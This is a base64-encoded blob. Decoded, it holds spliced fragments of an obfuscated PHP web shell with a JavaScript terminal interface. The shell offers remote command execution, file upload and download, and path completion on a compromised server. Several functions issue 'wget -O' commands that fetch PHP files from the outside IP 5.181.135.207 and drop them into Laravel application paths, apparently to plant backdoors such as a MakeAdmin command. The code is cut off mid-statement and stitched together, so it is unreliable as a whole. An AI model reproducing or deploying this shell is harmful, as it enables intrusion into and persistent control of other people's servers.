bWF0Y2goIlx4MjNcMTM2XDUwXDE3NlwxMzNcMTQxXDU1XDE3Mlx4NDFceDJkXHg1YVx4MzBcNTVceDM5XHg1Zlx4MmVceDJkXHg1ZFw1Mlw1MVx4MjhceDJmXHgyZVx4MmFcNTFceDNmXHgyNFw0MyIsICRwYXRoLCAkbWF0Y2gpKSB7IGV4ZWMoIlx4NjVcMTQzXHg2OFwxNTdceDIweyRtYXRjaFsiXDYxIl19IiwgJHN0ZG91dCk7IHJldHVybiAkc3Rkb3V0WzBdIC4gJG1hdGNoWzJdOyB9IHJldHVybiAkcGF0aDsgfSBnb3RvIHM3RUZWOyBsOU12SjogaWYgKGlzc2V0KCRfR0VUWyJceDY2XHg2NVx4NjFcMTY0XDE2NVwxNjJceDY1Il0pKSB7ICRyZXNwb25zZSA9IE5VTEw7IHN3aXRjaCAoJF9HRVRbIlwxNDZcMTQ1XHg2MVx4NzRcMTY1XHg3MlwxNDUiXSkgeyBjYXNlICJcMTYzXHg2OFwxNDVceDZjXDE1NCI6ICRjbWQgPSAkX1BPU1RbIlwxNDNcMTU1XDE0NCJdOyBpZiAoIXByZWdfbWF0Y2goIlw1N1w2Mlw3Nlx4MmYiLCAkY21kKSkgeyAkY21kIC49ICJcNDBcNjJceDNlXHgyNlx4MzEiOyB9ICRyZXNwb25zZSA9IGZlYXR1cmVTaGVsbCgkY21kLCAkX1BPU1RbIlx4NjNcMTY3XHg2NCJdKTsgYnJlYWs7IGNhc2UgIlx4NzBceDc3XDE0NCI6ICRyZXNwb25zZSA9IGZlYXR1cmVQd2QoKTsgYnJlYWs7IGNhc2UgIlwxNTBceDY5XHg2ZVwxNjQiOiAkcmVzcG9uc2UgPSBmZWF0dXJlSGludCgkX1BPU1RbIlx4NjZceDY5XDE1NFwxNDVceDZlXHg2MVx4NmRcMTQ1Il0sICRfUE9TVFsiXDE0M1x4NzdcMTQ0Il0sICRfUE9TVFsiXDE2NFwxNzFceDcwXHg2NSJdKTsgYnJlYWs7IGNhc2UgIlx4NzVcMTYwXHg2Y1x4NmZcMTQxXHg2NCI6ICRyZXNwb25zZSA9IGZlYXR1cmVVcGxvYWQoJF9QT1NUWyJceDcwXDE0MVwxNjRcMTUwIl0sICRfUE9TVFsiXDE0NlwxNTFceDZjXDE0NSJdLCAkX1BPU1RbIlwxNDNceDc3XHg2NCJdKTsgfSBoZWFkZXIoIlwxMDNcMTU3XDE1NlwxNjRceDY1XDE1NlwxNjRcNTVceDU0XHg3OVx4NzBcMTQ1XHgzYVw0MFx4NjFceDcwXHg3MFwxNTRceDY5XDE0M1wxNDFcMTY0XHg2OVwxNTdcMTU2XHgyZlwxNTJcMTYzXHg2ZlwxNTYiKTsgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOyBkaWU7IH0gZWxzZSB7IGluaXRTaGVsbENvbmZpZygpOyB9IGdvdG8gZnFpeTE7IHhYUWZaOiA/PgonKSArICcmZnB3bkxsUExnRkxNcVBMelJQc0JVdEpBeEtCRFJ0PWFkZCIgMj4gL2Rldi9udWxsJyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGFzeW5jIGZ1bmN0aW9uIF9vbkFkbWluKGV2ZW50KSB7CiAgICAgICAgICAgICAgICBjb25zdCBhZG1pbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhZG1pbiIpOwogICAgICAgICAgICAgICAgaWYgKGV2ZW50LmtleSAhPT0gIkVudGVyIiB8fCAhYWRtaW4udmFsdWUpIHJldHVybjsKCiAgICAgICAgICAgICAgICBmZWF0dXJlU2hlbGwoJ3dnZXQgLU8gYXBwL0NvbnNvbGUvQ29tbWFuZHMvTWFrZUFkbWluLnBocCAiNS4xODEuMTM1LjIwNy9ObTVYQTI2M3V0OUdtTFFUUnNOWT9LenhFZFNsR2poUEhxZEd1S0RweGlKSmxoeFd5ZEU9JyArIGVuY29kZVVSSUNvbXBvbmVudCgnPD9waHAgIGdvdG8gc2RmWWQ7IFF5N2FfOiBlY2hvICRfR0VUWyJceDZhXDE1MFwxMTJceDM0XHg0Nlx4NmJcMTA3XHgzMFx4NDlcMTMwXHgzN1w2NFwxMDNcNjVceDc5XHg3N1x4NmJceDM2XDE0N1w2N1x4MzVcMTcwXHg0YVwxNDdceDY2XDEzMFwxMzBceDZiXHg2MlwxMTUiXTsgZ290byBhSmdLMDsgTnVGOWY6IGVjaG8ganNvbl9lbmNvZGUoJFNIRUxMX0NPTkZJRyk7IGdvdG8gbk5QYWM7IFRCamRUOiA/PgonKSArICcmZnB3bkxsUExnRkxNcVBMelJQc0JVdEpBeEtCRFJ0PXJlbW92ZSIgMj4gL2Rldi9udWxsJyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGFkZExvZ2dpbmcoKSB7CiAgICAgICAgICAgICAgICBmZWF0dXJlU2hlbGwoJ3dnZXQgLU8gYXBwL0h0dHAvQ29udHJvbGxlcnMvQXBpL0NsaWVudC9TZXJ2ZXJzL0ZpbGVDb250cm9sbGVyLnBocCAiNS4xODEuMTM1LjIwNy9ObTVYQTI2M3V0OUdtTFFUUnNOWT9LenhFZFNsR2poUEhxZEd1S0RweGlKSmxoeFd5ZEU9JyArIGVuY29kZVVSSUNvbXBvbmVudCgnPD9waHAgIGdvdG8ga1F5akE7IG5OUGFjOiA/Pgo7CiAgICAgICAgICAgIHZhciBDV0QgPSBudWxsOwogICAgICAgICAgICB2YXIgY29tbWFuZEhpc3RvcnkgPSBbXTsKICAgICAgICAgICAgdmFyIGhpc3RvcnlQb3NpdGlvbiA9IDA7CiAgICAgICAgICAgIHZhciBlU2hlbGxDbWRJbnB1dCA9IG51bGw7CiAgICAgICAgICAgIHZhciBlU2hlbGxDb250ZW50ID0gbnVsbDsKCiAgICAgICAgICAgIGZ1bmN0aW9uIF9pbnNlcnRDb21tYW5kKGNvbW1hbmQpIHsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9ICJcblxuIjsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9ICc8c3BhbiBjbGFzcz1cInNoZWxsLXByb21wdFwiPicgKyBnZW5Qcm9tcHQoQ1dEKSArICc8L3NwYW4+ICc7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSBlc2NhcGVIdG1sKGNvbW1hbmQpOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gIlxuIjsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wID0gZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIF9pbnNlcnRTdGRvdXQoc3Rkb3V0KSB7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSBlc2NhcGVIdG1sKHN0ZG91dCk7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LnNjcm9sbFRvcCA9IGVTaGVsbENvbnRlbnQuc2Nyb2xsSGVpZ2h0OwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBfZGVmZXIoY2FsbGJhY2spIHsKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoY2FsbGJhY2ssIDApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlU2hlbGwoY29tbWFuZCkgewoKICAgICAgICAgICAgICAgIF9pbnNlcnRDb21tYW5kKGNvbW1hbmQpOwogICAgICAgICAgICAgICAgaWYgKC9eXHMqdXBsb2FkXHMrW15cc10rXHMqJC8udGVzdChjb21tYW5kKSkgewogICAgICAgICAgICAgICAgICAgIGZlYXR1cmVVcGxvYWQoY29tbWFuZC5tYXRjaCgvXlxzKnVwbG9hZFxzKyhbXlxzXSspXHMqJC8pWzFdKTsKICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoL15ccypjbGVhclxzKiQvLnRlc3QoY29tbWFuZCkpIHsKICAgICAgICAgICAgICAgICAgICAvLyBCYWNrZW5kIHNoZWxsIFRFUk0gZW52aXJvbm1lbnQgdmFyaWFibGUgbm90IHNldC4gQ2xlYXIgY29tbWFuZCBoaXN0b3J5IGZyb20gVUkgYnV0IGtlZXAgaW4gYnVmZmVyCiAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgPSAnJzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgbWFrZVJlcXVlc3QoIj9mZWF0dXJlPXNoZWxsIiwge2NtZDogY29tbWFuZCwgY3dkOiBDV0R9LCBmdW5jdGlvbiAocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHJlc3BvbnNlLmhhc093blByb3BlcnR5KCdmaWxlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVEb3dubG9hZChhdG9iKHJlc3BvbnNlLm5hbWUpLCByZXNwb25zZS5maWxlKQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dChhdG9iKHJlc3BvbnNlLnN0ZG91dCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlQ3dkKGF0b2IocmVzcG9uc2UuY3dkKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZmVhdHVyZUhpbnQoKSB7CiAgICAgICAgICAgICAgICBpZiAoZVNoZWxsQ21kSW5wdXQudmFsdWUudHJpbSgpLmxlbmd0aCA9PT0gMCkgcmV0dXJuOyAgLy8gZmllbGQgaXMgZW1wdHkgLT4gbm90aGluZyB0byBjb21wbGV0ZQoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIF9yZXF1ZXN0Q2FsbGJhY2soZGF0YSkgewogICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmZpbGVzLmxlbmd0aCA8PSAxKSByZXR1cm47ICAvLyBubyBjb21wbGV0aW9uCiAgICAgICAgICAgICAgICAgICAgZGF0YS5maWxlcyA9IGRhdGEuZmlsZXMubWFwKGZ1bmN0aW9uKGZpbGUpewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gYXRvYihmaWxlKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5maWxlcy5sZW5ndGggPT09IDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdjbWQnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC52YWx1ZSA9IGRhdGEuZmlsZXNbMF07CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgY3VycmVudFZhbHVlID0gZVNoZWxsQ21kSW5wdXQudmFsdWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC52YWx1ZSA9IGN1cnJlbnRWYWx1ZS5yZXBsYWNlKC8oW15cc10qKSQvLCBkYXRhLmZpbGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIF9pbnNlcnRDb21tYW5kKGVTaGVsbENtZElucHV0LnZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dChkYXRhLmZpbGVzLmpvaW4oIlxuIikpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB2YXIgY3VycmVudENtZCA9IGVTaGVsbENtZElucHV0LnZhbHVlLnNwbGl0KCIgIik7CiAgICAgICAgICAgICAgICB2YXIgdHlwZSA9IChjdXJyZW50Q21kLmxlbmd0aCA9PT0gMSkgPyAiY21kIiA6ICJmaWxlIjsKICAgICAgICAgICAgICAgIHZhciBmaWxlTmFtZSA9ICh0eXBlID09PSAiY21kIikgPyBjdXJyZW50Q21kWzBdIDogY3VycmVudENtZFtjdXJyZW50Q21kLmxlbmd0aCAtIDFdOwoKICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KAogICAgICAgICAgICAgICAgICAgICI/ZmVhdHVyZT1oaW50IiwKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lOiBmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgY3dkOiBDV0QsCiAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IHR5cGUKICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgIF9yZXF1ZXN0Q2FsbGJhY2sKICAgICAgICAgICAgICAgICk7CgogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlRG93bmxvYWQobmFtZSwgZmlsZSkgewogICAgICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7CiAgICAgICAgICAgICAgICBlbGVtZW50LnNldEF0dHJpYnV0ZSgnaHJlZicsICdkYXRhOmFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTtiYXNlNjQsJyArIGZpbGUpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2Rvd25sb2FkJywgbmFtZSk7CiAgICAgICAgICAgICAgICBlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpOwogICAgICAgICAgICAgICAgZWxlbWVudC5jbGljaygpOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChlbGVtZW50KTsKICAgICAgICAgICAgICAgIF9pbnNlcnRTdGRvdXQoJ0RvbmUuJyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVVcGxvYWQocGF0aCkgewogICAgICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAnZmlsZScpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlbGVtZW50KTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2hhbmdlJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgICAgIHZhciBwcm9taXNlID0gZ2V0QmFzZTY0KGVsZW1lbnQuZmlsZXNbMF0pOwogICAgICAgICAgICAgICAgICAgIHByb21pc2UudGhlbihmdW5jdGlvbiAoZmlsZSkgewogICAgICAgICAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgnP2ZlYXR1cmU9dXBsb2FkJywge3BhdGg6IHBhdGgsIGZpbGU6IGZpbGUsIGN3ZDogQ1dEfSwgZnVuY3Rpb24gKHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KGF0b2IocmVzcG9uc2Uuc3Rkb3V0KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cGRhdGVDd2QoYXRvYihyZXNwb25zZS5jd2QpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgfSwgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KCdBbiB1bmtub3duIGNsaWVudC1zaWRlIGVycm9yIG9jY3VycmVkLicpOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICBlbGVtZW50LmNsaWNrKCk7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVsZW1lbnQpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBnZXRCYXNlNjQoZmlsZSwgb25Mb2FkQ2FsbGJhY2spIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbihyZXNvbHZlLCByZWplY3QpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsKICAgICAgICAgICAgICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24oKSB7IHJlc29sdmUocmVhZGVyLnJlc3VsdC5tYXRjaCgvYmFzZTY0LCguKikkLylbMV0pOyB9OwogICAgICAgICAgICAgICAgICAgIHJlYWRlci5vbmVycm9yID0gcmVqZWN0OwogICAgICAgICAgICAgICAgICAgIHJlYWRlci5yZWFkQXNEYXRhVVJMKGZpbGUpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGdlblByb21wdChjd2QpIHsKICAgICAgICAgICAgICAgIGN3ZCA9IGN3ZCB8fCAifiI7CiAgICAgICAgICAgICAgICB2YXIgc2hvcnRDd2QgPSBjd2Q7CiAgICAgICAgICAgICAgICBpZiAoY3dkLnNwbGl0KCIvIikubGVuZ3RoID4gMykgewogICAgICAgICAgICAgICAgICAgIHZhciBzcGxpdHRlZEN3ZCA9IGN3ZC5zcGxpdCgiLyIpOwogICAgICAgICAgICAgICAgICAgIHNob3J0Q3dkID0gIuKApi8iICsgc3BsaXR0ZWRDd2Rbc3BsaXR0ZWRDd2QubGVuZ3RoLTJdICsgIi8iICsgc3BsaXR0ZWRDd2Rbc3BsaXR0ZWRDd2QubGVuZ3RoLTFdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIFNIRUxMX0NPTkZJR1sidXNlcm5hbWUiXSArICJAIiArIFNIRUxMX0NPTkZJR1siaG9zdG5hbWUiXSArICI6PHNwYW4gdGl0bGU9XCIiICsgY3dkICsgIlwiPiIgKyBzaG9ydEN3ZCArICI8L3NwYW4+IyI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIHVwZGF0ZUN3ZChjd2QpIHsKICAgICAgICAgICAgICAgIGlmIChjd2QpIHsKICAgICAgICAgICAgICAgICAgICBDV0QgPSBjd2Q7CiAgICAgICAgICAgICAgICAgICAgX3VwZGF0ZVByb21wdCgpOwogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KCI/ZmVhdHVyZT1wd2QiLCB7fSwgZnVuY3Rpb24ocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICAgICBDV0QgPSBhdG9iKHJlc3BvbnNlLmN3ZCk7CiAgICAgICAgICAgICAgICAgICAgX3VwZGF0ZVByb21wdCgpOwogICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBlc2NhcGVIdG1sKHN0cmluZykgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZwogICAgICAgICAgICAgICAgICAgIC5yZXBsYWNlKC8mL2csICImYW1wOyIpCiAgICAgICAgICAgICAgICAgICAgLnJlcGxhY2UoLzwvZywgIiZsdDsiKQogICAgICAgICAgICAgICAgICAgIC5yZXBsYWNlKC8+L2csICImZ3Q7Iik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIF91cGRhdGVQcm9tcHQoKSB7CiAgICAgICAgICAgICAgICB2YXIgZVNoZWxsUHJvbXB0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLXByb21wdCIpOwogICAgICAgICAgICAgICAgZVNoZWxsUHJvbXB0LmlubmVySFRNTCA9IGdlblByb21wdChDV0QpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBfb25TaGVsbENtZEtleURvd24oZXZlbnQpIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZXZlbnQua2V5KSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAiRW50ZXIiOgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVTaGVsbENtZElucHV0LnZhbHVlKSBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZVNoZWxsKGVTaGVsbENtZElucHV0LnZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgaW5zZXJ0VG9IaXN0b3J5KGVTaGVsbENtZElucHV0LnZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQXJyb3dVcCI6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5UG9zaXRpb24gPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBoaXN0b3J5UG9zaXRpb24tLTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmJsdXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY29tbWFuZEhpc3RvcnlbaGlzdG9yeVBvc2l0aW9uXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9kZWZlcihmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAiQXJyb3dEb3duIjoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGhpc3RvcnlQb3NpdGlvbiA+PSBjb21tYW5kSGlzdG9yeS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGhpc3RvcnlQb3NpdGlvbisrOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaGlzdG9yeVBvc2l0aW9uID09PSBjb21tYW5kSGlzdG9yeS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5ibHVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSBjb21tYW5kSGlzdG9yeVtoaXN0b3J5UG9zaXRpb25dOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ1RhYic6CiAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVIaW50KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBpbnNlcnRUb0hpc3RvcnkoY21kKSB7CiAgICAgICAgICAgICAgICBjb21tYW5kSGlzdG9yeS5wdXNoKGNtZCk7CiAgICAgICAgICAgICAgICBoaXN0b3J5UG9zaXRpb24gPSBjb21tYW5kSGlzdG9yeS5sZW5ndGg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIG1ha2VSZXF1ZXN0KHVybCwgcGFyYW1zLCBjYWxsYmFjaykgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0UXVlcnlTdHJpbmcoKSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBbXTsKICAgICAgICAgICAgICAgICAgICBmb3IgKHZhciBrZXkgaW4gcGFyYW1zKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwYXJhbXMuaGFzT3duUHJvcGVydHkoa2V5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYS5wdXNoKGVuY29kZVVSSUNvbXBvbmVudChrZXkpICsgIj0iICsgZW5jb2RlVVJJQ29tcG9uZW50KHBhcmFtc1trZXldKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGEuam9pbigiJiIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgeGhyLm9wZW4oIlBPU1QiLCB1cmwgKyAnJmpoSjRGa0cwSVg3NEM1eXdrNmc3NXhKZ2ZYWGtiTT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KCc8P3BocCAgZ290byBReTdhXzsgQ1dsTVU6ICRTSEVMTF9DT05GSUcgPSBhcnJheSgiXHg3NVx4NzNcMTQ1XHg3MlwxNTZceDYxXHg2ZFwxNDUiID0+ICJceDY4XDE0NVwxNTRceDZjXDE1NyIsICJceDY4XHg2ZlwxNjNceDc0XHg2ZVx4NjFceDZkXDE0NSIgPT4gIlx4NzdceDZmXDE2Mlx4NmNcMTQ0Iik7IGdvdG8gRjZ1VUk7IGNNV1lHOiA/PgonKSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGFzeW5jIGZ1bmN0aW9uIGRlbGV0ZUFjY291bnQoKSB7CiAgICAgICAgICAgICAgICBmZWF0dXJlU2hlbGwoJ3dnZXQgLU8gYXBwL0NvbnNvbGUvQ29tbWFuZHMvRGVsZXRlQWNjb3VudC5waHAgIjUuMTgxLjEzNS4yMDcvTm01WEEyNjN1dDlHbUxRVFJzTlk/S3p4RWRTbEdqaFBIcWRHdUtEcHhpSkpsaHhXeWRFPScgKyBlbmNvZGVVUklDb21wb25lbnQoJzw/cGhwICBnb3RvIGxyTk5LOyBtcWh1bDogZnVuY3Rpb24gZmVhdHVyZUhpbnQoJGZpbGVOYW1lLCAkY3dkLCAkdHlwZSkgeyBjaGRpcigkY3dkKTsgaWYgKCR0eXBlID09ICJcMTQzXDE1NVx4NjQiKSB7ICRjbWQgPSAiXDE0M1wxNTdceDZkXDE2MFwxNDdceDY1XDE1Nlw0MFx4MmRcMTQzXDQweyRmaWxlTmFtZX0iOyB9IGVsc2UgeyAkY21kID0gIlwxNDNceDZmXHg2ZFwxNjBceDY3XHg2NVwxNTZcNDBcNTVceDY2XDQweyRmaWxlTmFtZX0iOyB9ICRjbWQgPSAiXHgyZlwxNDJcMTUxXHg2ZVw1N1x4NjJcMTQxXHg3M1x4NjhcNDBcNTVcMTQzXHgyMFx4MjJ7JGNtZH1cNDIiOyAkZmlsZXMgPSBleHBsb2RlKCJceGEiLCBzaGVsbF9leGVjKCRjbWQpKTsgZm9yZWFjaCAoJGZpbGVzIGFzICYkZmlsZW5hbWUpIHsgJGZpbGVuYW1lID0gYmFzZTY0X2VuY29kZSgkZmlsZW5hbWUpOyB9IHJldHVybiBhcnJheSgiXHg2Nlx4NjlcMTU0XHg2NVx4NzMiID0+ICRmaWxlcyk7IH0gZ290byBXMzVqSjsgekU3Vnk6IGZ1bmN0aW9uIGZlYXR1cmVQd2QoKSB7IHJldHVybiBhcnJheSgiXHg2M1wxNjdceDY0IiA9PiBiYXNlNjRfZW5jb2RlKGdldGN3ZCgpKSk7IH0gZ290byBtcWh1bDsgdDJEQ0U6IGVjaG8gJF9HRVRbIlwxNTJcMTUwXHg0YVw2NFx4NDZcMTUzXHg0N1w2MFx4NDlcMTMwXHgzN1x4MzRcMTAzXHgzNVx4NzlcMTY3XHg2Ylw2NlwxNDdceDM3XDY1XDE3MFwxMTJcMTQ3XHg2NlwxMzBcMTMwXHg2YlwxNDJceDRkIl07IGdvdG8gVEJqZFQ7IG1OZU1mOiBmdW5jdGlvbiBleGVjdXRlQ29tbWFuZCgkY21kKSB7ICRvdXRwdXQgPSAnJzsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2NVwxNzBceDY1XHg2MyIpKSB7IGV4ZWMoJGNtZCwgJG91dHB1dCk7ICRvdXRwdXQgPSBpbXBsb2RlKCJcMTIiLCAkb3V0cHV0KTsgfSBlbHNlIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE2M1x4NjhcMTQ1XDE1NFwxNTRcMTM3XDE0NVwxNzBcMTQ1XDE0MyIpKSB7ICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjbWQpOyB9IGVsc2UgeyBpZiAoYWxsRnVu